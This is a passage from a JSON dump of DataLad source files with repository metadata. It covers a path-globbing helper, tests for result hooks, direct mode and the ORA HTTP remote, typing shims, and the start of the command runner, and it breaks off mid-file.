datalad.utils import (\\n chpwd,\\n ensure_unicode,\\n getpwd,\\n partition,\\n)\\n\\nlgr = logging.getLogger('datalad.support.globbedpaths')\\n\\n\\nclass GlobbedPaths(object):\\n \\\"\\\"\\\"Helper for globbing paths.\\n\\n Parameters\\n ----------\\n patterns : list of str\\n Call `glob.glob` with each of these patterns. \\\".\\\" is considered as\\n datalad's special \\\".\\\" path argument; it is not passed to glob and is\\n always left unexpanded. Each set of glob results is sorted\\n alphabetically.\\n pwd : str, optional\\n Glob in this directory.\\n expand : bool, optional\\n Whether the `paths` property returns unexpanded or expanded paths.\\n \\\"\\\"\\\"\\n\\n def __init__(self, patterns: Optional[Iterable[str | bytes]], pwd: Optional[str] = None, expand: bool = False) -> None:\\n self.pwd = pwd or getpwd()\\n self._expand = expand\\n\\n self._maybe_dot: list[str]\\n self._patterns: list[str]\\n if patterns is None:\\n self._maybe_dot = []\\n self._patterns = []\\n else:\\n pattern_strs = list(map(ensure_unicode, patterns))\\n pattern_iter, dots = partition(pattern_strs, lambda i: i.strip() == \\\".\\\")\\n self._maybe_dot = [\\\".\\\"] if list(dots) else []\\n self._patterns = [op.relpath(p, start=pwd) if op.isabs(p) else p\\n for p in pattern_iter]\\n self._cache: dict[str, dict[str, list[str]]] = {}\\n self._expanded_cache: dict[tuple[str, bool, bool], list[str]] = {}\\n\\n def __bool__(self) -> bool:\\n return bool(self._maybe_dot or self._patterns)\\n\\n @staticmethod\\n @lru_cache()\\n def _get_sub_patterns(pattern: str) -> list[str]:\\n \\\"\\\"\\\"Extract sub-patterns from the leading path of `pattern`.\\n\\n The right-most path component is successively peeled off until there\\n are no patterns left.\\n \\\"\\\"\\\"\\n head, tail = op.split(pattern)\\n if not tail:\\n # Pattern ended with a separator. Take the first directory as the\\n # base.\\n head, tail = op.split(head)\\n\\n sub_patterns = []\\n seen_magic = glob.has_magic(tail)\\n while head:\\n new_head, tail = op.split(head)\\n if seen_magic and not glob.has_magic(head):\\n break\\n elif not seen_magic and glob.has_magic(tail):\\n seen_magic = True\\n\\n if seen_magic:\\n sub_patterns.append(head + op.sep)\\n head = new_head\\n return sub_patterns\\n\\n def _expand_globs(self) -> tuple[dict[str, list[str]], dict[str, list[str]], dict[str, list[str]]]:\\n def normalize_hit(h: str) -> str:\\n normalized = op.relpath(h) + (\\\"\\\" if op.basename(h) else op.sep)\\n if h == op.curdir + op.sep + normalized:\\n # Don't let relpath prune \\\"./fname\\\" (gh-3034).\\n return h\\n return normalized\\n\\n hits: dict[str, list[str]] = {}\\n partial_hits: dict[str, list[str]] = {}\\n misses: dict[str, list[str]] = {}\\n with chpwd(self.pwd):\\n for pattern in self._patterns:\\n full_hits = glob.glob(pattern, recursive=True)\\n if full_hits:\\n hits[pattern] = sorted(map(normalize_hit, full_hits))\\n else:\\n lgr.debug(\\\"No matching files found for '%s'\\\", pattern)\\n # We didn't find a hit for the complete pattern. If we find\\n # a sub-pattern hit, that may mean we have an uninstalled\\n # subdataset.\\n for sub_pattern in self._get_sub_patterns(pattern):\\n sub_hits = glob.glob(sub_pattern, recursive=True)\\n if sub_hits:\\n partial_hits[pattern] = sorted(\\n map(normalize_hit, sub_hits))\\n break\\n else:\\n misses[pattern] = [pattern]\\n return hits, partial_hits, misses\\n\\n def expand(self, full: bool = False, dot: bool = True, refresh: bool = False,\\n include_partial: bool = True, include_misses: bool = True) -> list[str]:\\n \\\"\\\"\\\"Return paths with the globs expanded.\\n\\n Globbing is done with `glob.glob`. If a pattern doesn't have a match,\\n the trailing path component of the pattern is removed and, if any globs\\n remain, `glob.glob` is called again with the new pattern. This\\n procedure is repeated until a pattern matches or there are no more\\n patterns.\\n\\n Parameters\\n ----------\\n full : bool, optional\\n Return full paths rather than paths relative to `pwd`.\\n dot : bool, optional\\n Include the \\\".\\\" pattern if it was specified.\\n refresh : bool, optional\\n Run glob regardless of whether there are cached values. This is\\n useful if there may have been changes on the file system.\\n include_partial : bool, optional\\n Whether the results include sub-pattern hits (see description\\n above) when the full pattern doesn't match.\\n include_misses : : bool, optional\\n Whether the results include the original pattern when there are no\\n matches for a pattern or its sub-patterns (see description above).\\n \\\"\\\"\\\"\\n if refresh:\\n self._cache = {}\\n self._expanded_cache = {}\\n\\n maybe_dot = self._maybe_dot if dot else []\\n if not self._patterns:\\n return maybe_dot + []\\n\\n if \\\"hits\\\" not in self._cache:\\n hits, partial_hits, misses = self._expand_globs()\\n self._cache[\\\"hits\\\"] = hits\\n self._cache[\\\"partial_hits\\\"] = partial_hits\\n self._cache[\\\"misses\\\"] = misses\\n else:\\n hits = self._cache[\\\"hits\\\"]\\n partial_hits = self._cache[\\\"partial_hits\\\"]\\n misses = self._cache[\\\"misses\\\"]\\n\\n key_suffix = (include_partial, include_misses)\\n key_expanded = (\\\"expanded\\\",) + key_suffix\\n if key_expanded not in self._expanded_cache:\\n sources = [hits]\\n if include_partial:\\n sources.append(partial_hits)\\n if include_misses:\\n sources.append(misses)\\n\\n paths = []\\n for pattern in self._patterns:\\n for source in sources:\\n if pattern in source:\\n paths.extend(source[pattern])\\n break\\n self._expanded_cache[key_expanded] = paths\\n else:\\n paths = self._expanded_cache[key_expanded]\\n\\n if full:\\n key_full = (\\\"expanded_full\\\",) + key_suffix\\n if key_full not in self._expanded_cache:\\n paths = [op.join(self.pwd, p) for p in paths]\\n self._expanded_cache[key_full] = paths\\n else:\\n paths = self._expanded_cache[key_full]\\n\\n return maybe_dot + paths\\n\\n def expand_strict(self, full: bool = False, dot: bool = True, refresh: bool = False) -> list[str]:\\n return self.expand(full=full, dot=dot, refresh=refresh,\\n include_partial=False, include_misses=False)\\n\\n def _chain(self, what: str) -> list[str]:\\n if self._patterns:\\n if \\\"hits\\\" not in self._cache:\\n self.expand()\\n # Note: This assumes a preserved insertion order for dicts, which\\n # is true with our current minimum python version (3.6) and part of\\n # the language spec as of 3.7.\\n return list(chain(*self._cache[what].values()))\\n return []\\n\\n @property\\n def partial_hits(self) -> list[str]:\\n \\\"\\\"\\\"Return patterns that had a partial but not complete match.\\n \\\"\\\"\\\"\\n return self._chain(\\\"partial_hits\\\")\\n\\n @property\\n def misses(self) -> list[str]:\\n \\\"\\\"\\\"Return patterns that didn't have any complete or partial matches.\\n\\n This doesn't include patterns where a sub-pattern matched. Those are\\n available via `partial_hits`.\\n \\\"\\\"\\\"\\n return self._chain(\\\"misses\\\")\\n\\n @property\\n def paths(self) -> list[str]:\\n \\\"\\\"\\\"Return paths relative to `pwd`.\\n\\n Globs are expanded if `expand` was set to true during instantiation.\\n \\\"\\\"\\\"\\n if self._expand:\\n return self.expand()\\n return self._maybe_dot + self._patterns\\n\"\n },\n {\n \"alpha_fraction\": 0.5730367302894592,\n \"alphanum_fraction\": 0.5773251056671143,\n \"avg_line_length\": 34.875,\n \"blob_id\": \"5884a0e6e889ed1c488f4e47d047e7f0d7006bd9\",\n \"content_id\": \"fba43f2f1cbb3286c1aacc93182848d55853ea63\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3731,\n \"license_type\": \"permissive\",\n \"max_line_length\": 85,\n \"num_lines\": 104,\n \"path\": \"/datalad/core/local/tests/test_resulthooks.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test result hooks\\\"\\\"\\\"\\n\\nfrom datalad.api import (\\n Dataset,\\n install,\\n)\\nfrom datalad.tests.utils_pytest import (\\n assert_result_count,\\n eq_,\\n ok_,\\n with_tempfile,\\n)\\nfrom datalad.utils import on_windows\\n\\n\\n@with_tempfile()\\n@with_tempfile()\\ndef test_basics(src=None, dst=None):\\n # dataset with subdataset, not specific configuration\\n ds = Dataset(src).create()\\n (ds.pathobj / 'file1').write_text('some')\\n ds.save()\\n sub = ds.create('subds')\\n # second one for a result_xfm test below\\n ds.create('subds2')\\n\\n # now clone the super\\n clone = install(source=src, path=dst)\\n # config on which kind of results this hook should operate\\n clone.config.set(\\n 'datalad.result-hook.alwaysbids.match-json',\\n # any successfully installed dataset\\n '{\\\"type\\\":\\\"dataset\\\",\\\"action\\\":\\\"install\\\",\\\"status\\\":[\\\"eq\\\", \\\"ok\\\"]}',\\n scope='local',\\n )\\n # a smoke test to see if a hook definition without any call args works too\\n clone.config.set('datalad.result-hook.wtf.call-json',\\n 'wtf {{\\\"result_renderer\\\": \\\"disabled\\\"}}',\\n scope='local')\\n clone.config.set(\\n 'datalad.result-hook.wtf.match-json',\\n '{\\\"type\\\":\\\"dataset\\\",\\\"action\\\":\\\"install\\\",\\\"status\\\":[\\\"eq\\\", \\\"ok\\\"]}',\\n scope='local',\\n )\\n # configure another one that will unlock any obtained file\\n # {dsarg} is substituted by the dataset arg of the command that\\n # the eval_func() decorator belongs to\\n # but it may not have any, as this is not the outcome of a\\n # require_dataset(), but rather the verbatim input\\n # it could be more useful to use {refds}\\n clone.config.set(\\n 'datalad.result-hook.unlockfiles.call-json',\\n 'unlock {{\\\"dataset\\\":\\\"{dsarg}\\\",\\\"path\\\":\\\"{path}\\\"}}',\\n scope='local',\\n )\\n clone.config.set(\\n 'datalad.result-hook.unlockfiles.match-json',\\n '{\\\"type\\\":\\\"file\\\",\\\"action\\\":\\\"get\\\",\\\"status\\\":\\\"ok\\\"}',\\n scope='local',\\n )\\n if not on_windows:\\n # and one that runs a shell command on any notneeded file-get\\n clone.config.set(\\n 'datalad.result-hook.annoy.call-json',\\n 'run {{\\\"cmd\\\":\\\"touch {path}_annoyed\\\",'\\n '\\\"dataset\\\":\\\"{dsarg}\\\",\\\"explicit\\\":true}}',\\n scope='local',\\n )\\n clone.config.set(\\n 'datalad.result-hook.annoy.match-json',\\n '{\\\"type\\\":[\\\"in\\\", [\\\"file\\\"]],\\\"action\\\":\\\"get\\\",\\\"status\\\":\\\"notneeded\\\"}',\\n scope='local',\\n )\\n # setup done, now see if it works\\n clone.get('subds')\\n clone_sub = Dataset(clone.pathobj / 'subds')\\n # now the same thing with a result_xfm, should make no difference\\n clone.get('subds2')\\n clone_sub2 = Dataset(clone.pathobj / 'subds2')\\n\\n # hook auto-unlocks the file\\n if not clone.repo.is_managed_branch():\\n ok_((clone.pathobj / 'file1').is_symlink())\\n res = clone.get('file1')\\n if not clone.repo.is_managed_branch():\\n # we get to see the results from the hook too!\\n assert_result_count(\\n res, 1, action='unlock', path=str(clone.pathobj / 'file1'))\\n ok_(not (clone.pathobj / 'file1').is_symlink())\\n\\n if not clone.repo.is_managed_branch():\\n # different hook places annoying file next to a file that was already present\\n annoyed_file = clone.pathobj / 'file1_annoyed'\\n ok_(not annoyed_file.exists())\\n clone.get('file1')\\n ok_(annoyed_file.exists())\\n\"\n },\n {\n \"alpha_fraction\": 0.6358914971351624,\n \"alphanum_fraction\": 0.6402192711830139,\n \"avg_line_length\": 36.26881790161133,\n \"blob_id\": \"ad53fe8a62407c48cddc93ce7da8aad9c216f53f\",\n \"content_id\": \"d58e967b974f72d720562a86153925f02c31f16c\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3466,\n \"license_type\": \"permissive\",\n \"max_line_length\": 100,\n \"num_lines\": 93,\n \"path\": \"/datalad/tests/test_direct_mode.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test direct mode mechanic\\n\\n\\\"\\\"\\\"\\n\\nfrom unittest.mock import patch\\n\\nfrom datalad.support import path as op\\nfrom datalad.support.annexrepo import AnnexRepo\\nfrom datalad.support.exceptions import (\\n CommandNotAvailableError,\\n DirectModeNoLongerSupportedError,\\n)\\nfrom datalad.tests.utils_pytest import (\\n SkipTest,\\n assert_in,\\n assert_raises,\\n with_tempfile,\\n)\\n\\n# if on_windows:\\n# raise SkipTest(\\\"Can't test direct mode switch, \\\"\\n# \\\"if direct mode is forced by OS anyway.\\\")\\n#\\n# repo_version = cfg.get(\\\"datalad.repo.version\\\", None)\\n# if repo_version and int(repo_version) >= 6:\\n# raise SkipTest(\\\"Can't test direct mode switch, \\\"\\n# \\\"if repository version 6 or later is enforced.\\\")\\n\\n\\n# originally lifted from AnnexRepo, kept here to simulate a repo\\n# that is still in direct mode\\ndef _set_direct_mode(self, enable_direct_mode=True):\\n \\\"\\\"\\\"Switch to direct or indirect mode\\n\\n WARNING! To be used only for internal development purposes.\\n We no longer support direct mode and thus setting it in a\\n repository would render it unusable for DataLad\\n\\n Parameters\\n ----------\\n enable_direct_mode: bool\\n True means switch to direct mode,\\n False switches to indirect mode\\n\\n Raises\\n ------\\n CommandNotAvailableError\\n in case you try to switch to indirect mode on a crippled filesystem\\n \\\"\\\"\\\"\\n if self.is_crippled_fs() and not enable_direct_mode:\\n # TODO: ?? DIRECT - should we call git annex upgrade?\\n raise CommandNotAvailableError(\\n cmd=\\\"git-annex indirect\\\",\\n msg=\\\"Can't switch to indirect mode on that filesystem.\\\")\\n\\n self.call_annex(['direct' if enable_direct_mode else 'indirect']),\\n self.config.reload()\\n\\n # For paranoid we will just re-request\\n self._direct_mode = None\\n assert(self.is_direct_mode() == enable_direct_mode)\\n\\n # All further workarounds were stripped - no direct mode is supported\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_direct_cfg(path1=None, path2=None):\\n # and if repo already exists and we have env var - we fail too\\n # Adding backend so we get some commit into the repo\\n ar = AnnexRepo(path1, create=True, backend='MD5E')\\n del ar; AnnexRepo._unique_instances.clear() # fight flyweight\\n for path in (path1, path2):\\n with patch.dict('os.environ', {'DATALAD_REPO_DIRECT': 'True'}):\\n # try to create annex repo in direct mode as see how it fails\\n with assert_raises(DirectModeNoLongerSupportedError) as cme:\\n AnnexRepo(path, create=True)\\n assert_in(\\\"no longer supported by DataLad\\\", str(cme.value)) # we have generic part\\n assert_in(\\\"datalad.repo.direct configuration\\\", str(cme.value)) # situation specific part\\n # assert not op.exists(path2) # that we didn't create it - we do!\\n # fixing for that would be too cumbersome since we first call GitRepo.__init__\\n # with create\\n ar = AnnexRepo(path1)\\n # check if we somehow didn't reset the flag\\n assert not ar.is_direct_mode()\\n\"\n },\n {\n \"alpha_fraction\": 0.5993518829345703,\n \"alphanum_fraction\": 0.6020808219909668,\n \"avg_line_length\": 36.58333206176758,\n \"blob_id\": \"adfb93e8f4819f6f315c9302a1eda8b0755ef506\",\n \"content_id\": \"1f274f2c26608444701fec0b997222af9565087f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5863,\n \"license_type\": \"permissive\",\n \"max_line_length\": 88,\n \"num_lines\": 156,\n \"path\": \"/datalad/distributed/tests/test_ora_http.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import shutil\\n\\nfrom datalad.api import Dataset\\nfrom datalad.customremotes.ria_utils import (\\n create_ds_in_store,\\n create_store,\\n)\\nfrom datalad.distributed.ora_remote import LocalIO\\nfrom datalad.distributed.tests.ria_utils import (\\n common_init_opts,\\n populate_dataset,\\n)\\nfrom datalad.support.exceptions import CommandError\\nfrom datalad.tests.utils_pytest import (\\n assert_equal,\\n assert_in,\\n assert_not_in,\\n assert_raises,\\n assert_repo_status,\\n assert_result_count,\\n assert_status,\\n known_failure_windows,\\n serve_path_via_http,\\n skip_if_adjusted_branch,\\n with_tempfile,\\n)\\nfrom datalad.utils import Path\\n\\n# NOTE: All we want and can test here is the HTTP functionality of the ORA\\n# remote. As of now, this is get and checkpresent only, sending one\\n# request each. The used URI for those requests is based on store layout\\n# version 1 and dataset layout version 2. Serving archives and/or\\n# different layouts via those requests is up to the server side, which we\\n# don't test here.\\n\\n@with_tempfile(mkdir=True)\\n@serve_path_via_http\\n@with_tempfile\\ndef test_initremote(store_path=None, store_url=None, ds_path=None):\\n ds = Dataset(ds_path).create()\\n store_path = Path(store_path)\\n url = \\\"ria+\\\" + store_url\\n init_opts = common_init_opts + ['url={}'.format(url)]\\n\\n # fail when there's no RIA store at the destination\\n assert_raises(CommandError, ds.repo.init_remote, 'ora-remote',\\n options=init_opts)\\n # Doesn't actually create a remote if it fails\\n assert_not_in('ora-remote',\\n [cfg['name']\\n for uuid, cfg in ds.repo.get_special_remotes().items()]\\n )\\n\\n # now make it a store\\n io = LocalIO()\\n create_store(io, store_path, '1')\\n create_ds_in_store(io, store_path, ds.id, '2', '1')\\n\\n # fails on non-RIA URL\\n assert_raises(CommandError, ds.repo.init_remote, 'ora-remote',\\n options=common_init_opts + ['url={}'\\n ''.format(store_path.as_uri())]\\n )\\n # Doesn't actually create a remote if it fails\\n assert_not_in('ora-remote',\\n [cfg['name']\\n for uuid, cfg in ds.repo.get_special_remotes().items()]\\n )\\n\\n ds.repo.init_remote('ora-remote', options=init_opts)\\n assert_in('ora-remote',\\n [cfg['name']\\n for uuid, cfg in ds.repo.get_special_remotes().items()]\\n )\\n assert_repo_status(ds.path)\\n # git-annex:remote.log should have:\\n # - url\\n # - common_init_opts\\n # - archive_id (which equals ds id)\\n remote_log = ds.repo.call_git(['cat-file', 'blob', 'git-annex:remote.log'],\\n read_only=True)\\n assert_in(\\\"url={}\\\".format(url), remote_log)\\n [assert_in(c, remote_log) for c in common_init_opts]\\n assert_in(\\\"archive-id={}\\\".format(ds.id), remote_log)\\n\\n\\n# TODO: on crippled FS copytree to populate store doesn't seem to work.\\n# Or may be it's just the serving via HTTP that doesn't work.\\n# Either way, after copytree and fsck, whereis doesn't report\\n# the store as an available source.\\n@skip_if_adjusted_branch\\n@known_failure_windows # see gh-4469\\n@with_tempfile(mkdir=True)\\n@serve_path_via_http\\n@with_tempfile\\ndef test_read_access(store_path=None, store_url=None, ds_path=None):\\n\\n ds = Dataset(ds_path).create()\\n populate_dataset(ds)\\n\\n files = [Path('one.txt'), Path('subdir') / 'two']\\n store_path = Path(store_path)\\n url = \\\"ria+\\\" + store_url\\n init_opts = common_init_opts + ['url={}'.format(url)]\\n\\n io = LocalIO()\\n create_store(io, store_path, '1')\\n create_ds_in_store(io, store_path, ds.id, '2', '1')\\n ds.repo.init_remote('ora-remote', options=init_opts)\\n fsck_results = ds.repo.fsck(remote='ora-remote', fast=True)\\n # Note: Failures in the special remote will show up as a success=False\\n # result for fsck -> the call itself would not fail.\\n for r in fsck_results:\\n if \\\"note\\\" in r:\\n # we could simply assert \\\"note\\\" to not be in r, but we want proper\\n # error reporting - content of note, not just its unexpected\\n # existence.\\n assert_equal(r[\\\"success\\\"], \\\"true\\\",\\n msg=\\\"git-annex-fsck failed with ORA over HTTP: %s\\\" % r)\\n assert_equal(r[\\\"error-messages\\\"], [])\\n store_uuid = ds.siblings(name='ora-remote',\\n return_type='item-or-list',\\n result_renderer='disabled')['annex-uuid']\\n here_uuid = ds.siblings(name='here',\\n return_type='item-or-list',\\n result_renderer='disabled')['annex-uuid']\\n\\n # nothing in store yet:\\n for f in files:\\n known_sources = ds.repo.whereis(str(f))\\n assert_in(here_uuid, known_sources)\\n assert_not_in(store_uuid, known_sources)\\n\\n annex_obj_target = str(store_path / ds.id[:3] / ds.id[3:]\\n / 'annex' / 'objects')\\n shutil.rmtree(annex_obj_target)\\n shutil.copytree(src=str(ds.repo.dot_git / 'annex' / 'objects'),\\n dst=annex_obj_target)\\n\\n ds.repo.fsck(remote='ora-remote', fast=True)\\n # all in store now:\\n for f in files:\\n known_sources = ds.repo.whereis(str(f))\\n assert_in(here_uuid, known_sources)\\n assert_in(store_uuid, known_sources)\\n\\n ds.drop('.')\\n res = ds.get('.')\\n assert_equal(len(res), 4)\\n assert_result_count(res, 4, status='ok', type='file', action='get',\\n message=\\\"from ora-remote...\\\")\\n\\n # try whether the reported access URL is correct\\n one_url = ds.repo.whereis('one.txt', output='full'\\n )[store_uuid]['urls'].pop()\\n assert_status('ok', ds.download_url(urls=[one_url], path=str(ds.pathobj / 'dummy')))\\n\"\n },\n {\n \"alpha_fraction\": 0.4897196292877197,\n \"alphanum_fraction\": 0.5018691420555115,\n \"avg_line_length\": 21.76595687866211,\n \"blob_id\": \"59e7acde93552feb3312d1da6072389b4b37e466\",\n \"content_id\": \"6965b406d07d10bdf77cf432ff9da4666ee844c8\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1070,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 47,\n \"path\": \"/datalad/typing.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\nimport sys\\nfrom typing import TypeVar\\n\\nif sys.version_info >= (3, 11):\\n from typing import Self\\nelse:\\n from typing_extensions import Self\\n\\nif sys.version_info >= (3, 10):\\n from typing import (\\n Concatenate,\\n ParamSpec,\\n )\\nelse:\\n from typing_extensions import (\\n Concatenate,\\n ParamSpec,\\n )\\n\\nif sys.version_info >= (3, 8):\\n from typing import (\\n Literal,\\n Protocol,\\n TypedDict,\\n )\\nelse:\\n from typing_extensions import (\\n Literal,\\n Protocol,\\n TypedDict,\\n )\\n\\n__all__ = [\\\"Literal\\\", \\\"ParamSpec\\\", \\\"T\\\", \\\"K\\\", \\\"V\\\", \\\"P\\\"]\\n\\nT = TypeVar(\\\"T\\\")\\nK = TypeVar(\\\"K\\\")\\nV = TypeVar(\\\"V\\\")\\nP = ParamSpec(\\\"P\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.5891945958137512,\n \"alphanum_fraction\": 0.5898949503898621,\n \"avg_line_length\": 38.97999954223633,\n \"blob_id\": \"52a5a8b8fe957f9cdde0ca6310e40488b17c7cb9\",\n \"content_id\": \"32c8074ee32da30eac7327704a82151bf2a2cdaa\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 9995,\n \"license_type\": \"permissive\",\n \"max_line_length\": 87,\n \"num_lines\": 250,\n \"path\": \"/datalad/runner/runner.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Base DataLad command execution runner\\n\\\"\\\"\\\"\\nfrom __future__ import annotations\\n\\nimport logging\\nfrom os import PathLike\\nfrom queue import Queue\\nfrom typing import (\\n IO,\\n cast,\\n)\\n\\nfrom .protocol import WitlessProtocol\\nfrom .coreprotocols import NoCapture\\nfrom .exception import CommandError\\nfrom .nonasyncrunner import (\\n ThreadedRunner,\\n _ResultGenerator,\\n)\\nfrom .protocol import GeneratorMixIn\\n\\n\\nlgr = logging.getLogger('datalad.runner.runner')\\n\\n\\nclass WitlessRunner(object):\\n \\\"\\\"\\\"Minimal Runner with support for online command output processing\\n\\n It aims to be as simple as possible, providing only essential\\n functionality.\\n \\\"\\\"\\\"\\n __slots__ = ['cwd', 'env']\\n\\n def __init__(self,\\n cwd: str | PathLike | None = None,\\n env: dict | None = None\\n ):\\n \\\"\\\"\\\"\\n Parameters\\n ----------\\n cwd : str or path-like, optional\\n If given, commands are executed with this path as PWD,\\n the PWD of the parent process is used otherwise.\\n env : dict, optional\\n Environment to be used for command execution. If `None` is provided,\\n the current process environment is inherited by the sub-process. If\\n a mapping is provided, it will constitute the complete environment of\\n the sub-process, i.e. no values from the environment of the current\\n process will be inherited. If `env` and `cwd` are given, 'PWD' in the\\n environment is set to the string-value of `cwd`.\\n \\\"\\\"\\\"\\n self.env = env\\n self.cwd = cwd\\n\\n def _get_adjusted_env(self,\\n env: dict | None = None,\\n cwd: str | PathLike | None = None,\\n copy: bool = True\\n ) -> dict | None:\\n \\\"\\\"\\\"Return an adjusted execution environment\\n\\n This method adjusts the environment provided in `env` to\\n reflect the configuration of the runner. It returns\\n an altered copy or an altered original, if `copy` is\\n `False`.\\n\\n Parameters\\n ----------\\n env\\n The environment that should be adjusted\\n\\n cwd: str | PathLike | None (default: None)\\n If not None, the content of this variable will be\\n put into the environment variable 'PWD'.\\n\\n copy: bool (default: True)\\n if True, the returned environment will be a\\n copy of `env`. Else the passed in environment\\n is modified. Note: if `env` is not `None` and\\n `cwd` is `None` and `copy` is `True`, the\\n returned dictionary is still a copy\\n \\\"\\\"\\\"\\n env = env.copy() if env is not None and copy is True else env\\n if cwd is not None and env is not None:\\n # If an environment and 'cwd' is provided, ensure the 'PWD' in the\\n # environment is set to the value of 'cwd'.\\n env['PWD'] = str(cwd)\\n return env\\n\\n def run(self,\\n cmd: list | str,\\n protocol: type[WitlessProtocol] | None = None,\\n stdin: bytes | IO | Queue | None = None,\\n cwd: PathLike | str | None = None,\\n env: dict | None = None,\\n timeout: float | None = None,\\n exception_on_error: bool = True,\\n **kwargs) -> dict | _ResultGenerator:\\n \\\"\\\"\\\"Execute a command and communicate with it.\\n\\n Parameters\\n ----------\\n cmd : list or str\\n Sequence of program arguments. Passing a single string causes\\n execution via the platform shell.\\n protocol : WitlessProtocol, optional\\n Protocol class handling interaction with the running process\\n (e.g. output capture). A number of pre-crafted classes are\\n provided (e.g `KillOutput`, `NoCapture`, `GitProgress`).\\n If the protocol has the GeneratorMixIn-mixin, the run-method\\n will return an iterator and can therefore be used in a for-clause.\\n stdin : file-like, bytes, Queue, or None\\n If stdin is a file-like, it will be directly used as stdin for the\\n subprocess. The caller is responsible for writing to it and closing it.\\n If stdin is a bytes, it will be fed to stdin of the subprocess.\\n If all data is written, stdin will be closed.\\n If stdin is a Queue, all elements (bytes) put into the Queue will\\n be passed to stdin until None is read from the queue. If None is read,\\n stdin of the subprocess is closed.\\n cwd : str or path-like, optional\\n If given, commands are executed with this path as PWD,\\n the PWD of the parent process is used otherwise. Overrides\\n any `cwd` given to the constructor.\\n env : dict, optional\\n Environment to be used for command execution. If given, it will\\n completely replace any environment provided to theconstructor. If\\n `cwd` is given, 'PWD' in the environment is set to its value.\\n This must be a complete environment definition, no values\\n from the current environment will be inherited. Overrides\\n any `env` given to the constructor.\\n timeout: float, optional\\n None or the seconds after which a timeout callback is\\n invoked, if no progress was made in communicating with\\n the sub-process, or if waiting for the subprocess exit\\n took more than the specified time. See the protocol and\\n `ThreadedRunner` descriptions for a more detailed discussion\\n on timeouts.\\n exception_on_error : bool, optional\\n This argument is first interpreted if the protocol is a subclass\\n of `GeneratorMixIn`. If it is `True` (default), a\\n `CommandErrorException` is raised by the generator if the\\n sub process exited with a return code not equal to zero. If the\\n parameter is `False`, no exception is raised. In both cases the\\n return code can be read from the attribute `return_code` of\\n the generator. Then this argument interpreted within this function\\n to not raise `CommandError` if value is False in case of non-0 exit.\\n kwargs :\\n Passed to the Protocol class constructor.\\n\\n Returns\\n -------\\n dict | _ResultGenerator\\n\\n If the protocol is not a subclass of `GeneratorMixIn`, the\\n result of protocol._prepare_result will be returned.\\n\\n If the protocol is a subclass of `GeneratorMixIn`, a Generator, i.e.\\n a `_ResultGenerator`, will be returned. This allows to use this\\n method in constructs like:\\n\\n for protocol_output in runner.run():\\n ...\\n\\n Where the iterator yields whatever protocol.pipe_data_received\\n sends into the generator.\\n If all output was yielded and the process has terminated, the\\n generator will raise StopIteration(return_code), where\\n return_code is the return code of the process. The return code\\n of the process will also be stored in the \\\"return_code\\\"-attribute\\n of the runner. So you could write:\\n\\n gen = runner.run()\\n for file_descriptor, data in gen:\\n ...\\n\\n # get the return code of the process\\n result = gen.return_code\\n\\n Raises\\n ------\\n CommandError\\n On execution failure (non-zero exit code) this exception is\\n raised which provides the command (cmd), stdout, stderr,\\n exit code (status), and a message identifying the failed\\n command, as properties.\\n FileNotFoundError\\n When a given executable does not exist.\\n \\\"\\\"\\\"\\n if protocol is None:\\n # by default let all subprocess stream pass through\\n protocol = NoCapture\\n\\n applied_cwd = cwd or self.cwd\\n applied_env = self._get_adjusted_env(\\n env=env or self.env,\\n cwd=applied_cwd,\\n )\\n\\n lgr.debug(\\n 'Run %r 